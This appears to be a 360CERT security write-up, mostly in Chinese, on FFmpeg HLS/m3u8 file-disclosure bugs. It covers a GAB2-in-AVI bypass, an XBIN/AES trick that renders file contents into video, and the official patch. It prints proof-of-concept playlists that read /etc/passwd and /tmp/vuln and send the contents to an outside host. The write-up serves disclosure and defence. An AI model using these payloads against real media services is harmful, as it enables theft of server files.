作者:redrain@360CERT & attacker2001@360CERT
BlackHat 2016 saw the report on vulnerabilities in video services. The authors continued researching this area, and are going to tell about new vulnerabilities (logical and binary) and curious ways to exploit them. Look forward to hearing real stories about exploiting these vulnerabilities in bug bounty programs! – via "Attacks on video converter: a year later"
在6月27日 hackerone 公开了一个关于 FFmpeg 本地文件泄漏的报告,该报告中描述为25日公开的另一个 FFmpeg 本地文件泄漏相关(https://hackerone.com/reports/242831) 。 该漏洞@Emil Lerner 和@Pavel Cheremushkin 在今年的 phdays conference 中已经披露(https://www.slideshare.net/phdays/ss-76515896) 。
360CERT团队第一时间对该安全问题跟进并将简单预警一个未公开的FFmpeg命令执行漏洞。
FFmpeg 是一个非常强大且运用广泛的多媒体框架,可以解码,编码,转码,播放几乎所有格式的多媒体文件。其基本工作流程如下:
原始的封装视频 –> demux 分离器对封装的视频资源进行分离 –> 得到音频资源和视频资源 –> 进行解码 –> 得到解压后的音频资源和视频资源 –> 进入 filter 进行编辑处理 –> 得到处理后的音频资源和视频资源 –> 对资源编码得到转码后的音频资源和视频资源 –> 进入 mux 混合器进行封装 –> 得到转码封装后的视频
虽然 FFmpeg 非常强大,但是正因为它强大的格式适配能力,加之各种流媒体协议的多样性,有可能对 FFmpeg 产生意想不到的安全威胁。
一般流媒体协议分为两种,一种是通过 HTTP 渐进下载的(如 HLS,flash 渐进式),另一种则是 RTSP 形式的实时流媒体协议。
HLS 是 Apple 提出并推广的,全称为 HTTP Live Streaming。它会把整个视频流分成多个小的,基于 HTTP 的文件来下载,每次下载一部分,并把视频流元数据存放于 m3u8 文件中。
m3u8 本身并不是视频文件,它只会指定应该播放的视频资源,而真正播放的视频资源是下载下来的ts文件,可以把 m3u8 理解为一个配置文件,配置文件中指定了 ts 为播放文件,一个简单的 m3u8 如下:
#EXTM3U #EXT-X-MEDIA-SEQUENCE #EXT-X-TARGETDURATION #EXT-X-ALLOW-CACHE #EXT-X-ENDLIST #EXTINF redrain.ts 真正播放的视频资源
当然,这个视频资源也可以是一个远程资源
#EXTM3U #EXT-X-MEDIA-SEQUENCE #EXT-X-TARGETDURATION #EXT-X-ALLOW-CACHE #EXT-X-ENDLIST #EXTINF http://www.redrain.sb/test.mp4 远程资源
知识点复习
我们还记得去年的 CVE-2016-1897 和 CVE-2016-1898 ,一个 SSRF 和一个任意文件读取漏洞,其中 SSRF 用到的就是 m3u8 可以访问获取远程资源的特性。
concat:
可以把多个 url 流合并访问资源:concat:URL1|URL2|…|URLN
结合 SSRF ,我们可以把 file://
读到的内容发送出来。
#EXTM3U #EXT-X-TARGETDURATION:6 #EXTINF:10.0, concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln #EXT-X-ENDLIST
之后官方在2.8.5版本修复了该漏洞。
在上个月的 phdays conference 里,通过视频格式的一个 trick bypass 了厂商对 SSRF 的封堵。
奇怪的视频格式标准
在 AVI 视频中,有一个数据块可以定义字幕,叫做 GAB2 ,位置于 AVI header 中,有趣的是 m3u8 可以插入到 avi 文件中,且 FFmpeg 依旧会对有文件头 #EXTM3U
的 AVi 视频做 HLS 处理。
bypass 继续利用 CVE-2016-1898
所以我们可以通过对含有 GAB2 header 的 AVI 视频中嵌入 m3u8,bypass 厂商对 CVE-2016-1898 的修复
只需要将之前的 PoC 嵌入 AVI 中,依然可以读取到目标文件。
[AVI header GAB2 header] #EXTM3U #EXT-X-TARGETDURATION:6 #EXTINF:10.0, concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln #EXT-X-ENDLIST [AVI body footer]
New Arbitrary File Read
@Emil Lerner 和@Pavel Cheremushkin 在会议中其实披露了多个 FFmpeg 的漏洞,其中一个最为有意思的,也就是在 hackerone 公开报告中用到的漏洞,把读取到的文件内容输出到视频中,从而可以让文件读取可以在无网络环境的情况下利用。
利用思路如下:
同样将 m3u8 嵌入到带有 GAB2 的AVI视频中,对文件格式检查进行 bypass 。
因为之前说过,m3u8 并不是真正的视频资源,所以如果要播放,必须还要在 m3u8 中嵌入一个可播放的视频资源,其中有一个古老的媒体格式 XBin
,这个媒体格式具备基本显示图片,文本的功能,体积非常小,最重要的是,这个媒体格式可编程,如果嵌入到 m3u8 中,将目标文件作为对象,用 xbin 绘制成为字符,就可以作为合法可播放的视频文件观看了,所以依次嵌套后,文件内容大致为:
[AVI header] [GAB2 header] [m3u8 header] [XBIN header] 目标文件 [XBIN footer] [m3u8 footer] [AVI footer]
但 FFmpeg 检查了 body 中的非法字符串,所以无法使用 data :对 XBIN 格式声明
#EXTM3U #EXT-X-MEDIA-SEQUENCE:1 #EXTINF:1.0, data:<format-header> #EXTINF:1.0, file:///etc/passwd #EXTINF:1.0, data:<format-footer> #EXT-X-ENDLIST
但是 m3u8 支持 AES128 的 CBC 模式加密,可以在 #EXT-X-KEY
中进行设置,所以可以很简单加密m3u8的内容:
… #EXTINF:1, #EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL> #EXT-X-BYTERANGE: 16 /dev/zero … = AES^-1 CONST(0x00…00) ⊕<VAL> = <FMT HEADER>
由于 m3u8 单次访问目标文件获取到的内容不完整,为了获得完整的文件内容,还需要控制 #EXT-X-BYTERANGE
设置偏移量,然后重复这一部分.
最终,我们得到的文件应该是这样的:
[AVI header] [GAB2 header] [m3u8 header] {loop} #EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL> 声明m3u8的AES加密,将XBIN部分加密 [XBIN header] 被加密 目标文件 [XBIN footer] 被加密 {loop} [m3u8 footer] [AVI footer]
执行后,读取的目标文件内容成功输出在 ffplay 的播放器中:
官方修复
笔者查看的针对这个漏洞的补丁
https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7
主要是在限制后缀名这一行生效:
+ {“allowed_extensions”, “List of file extensions that hls is allowed to access”, + OFFSET(allowed_extensions), AV_OPT_TYPE_STRING, + {.str = “3gp,aac,avi,flac,mkv,m3u8,m4a,m4s,m4v,mpg,mov,mp2,mp3,mp4,mpeg,mpegts,ogg,ogv,oga,ts,vob,wav”}, + INT_MIN, INT_MAX, FLAGS},
打上补丁后,允许的扩展只有上述部分了。
phdays的ppt中结尾有那么一张:
FFmpeg is one of those projects we trust to have RCE everywhere
事实证明这句话是对的,笔者在去年分析该漏洞和 imagemagick 命令执行后,对格式处理和媒体处理软件的安全性产生了迷之兴趣,所以不由得多看了一下 FFmpeg 项目,也发现了一个在处理 mov 视频过程中同样是嵌入数据的命令执行,但在最新的 snapshot 中暂时没有复现。
通过老版本演示如下:
https://youtu.be/SUDV9yfbDFw
FFmpeg作为目前来说最广泛的多媒体框架,它的强大之处毋庸置疑,但是正因为适配了尽可能多的媒体格式,其中一些沿用至今的古老格式或是一些特殊的标准协议,都可能给FFmpeg带来不一样的可能性,而缺乏沙箱的设计有可能还会有更多的利用可能性,关于媒体处理的服务组件或软件将会暴露出更多问题。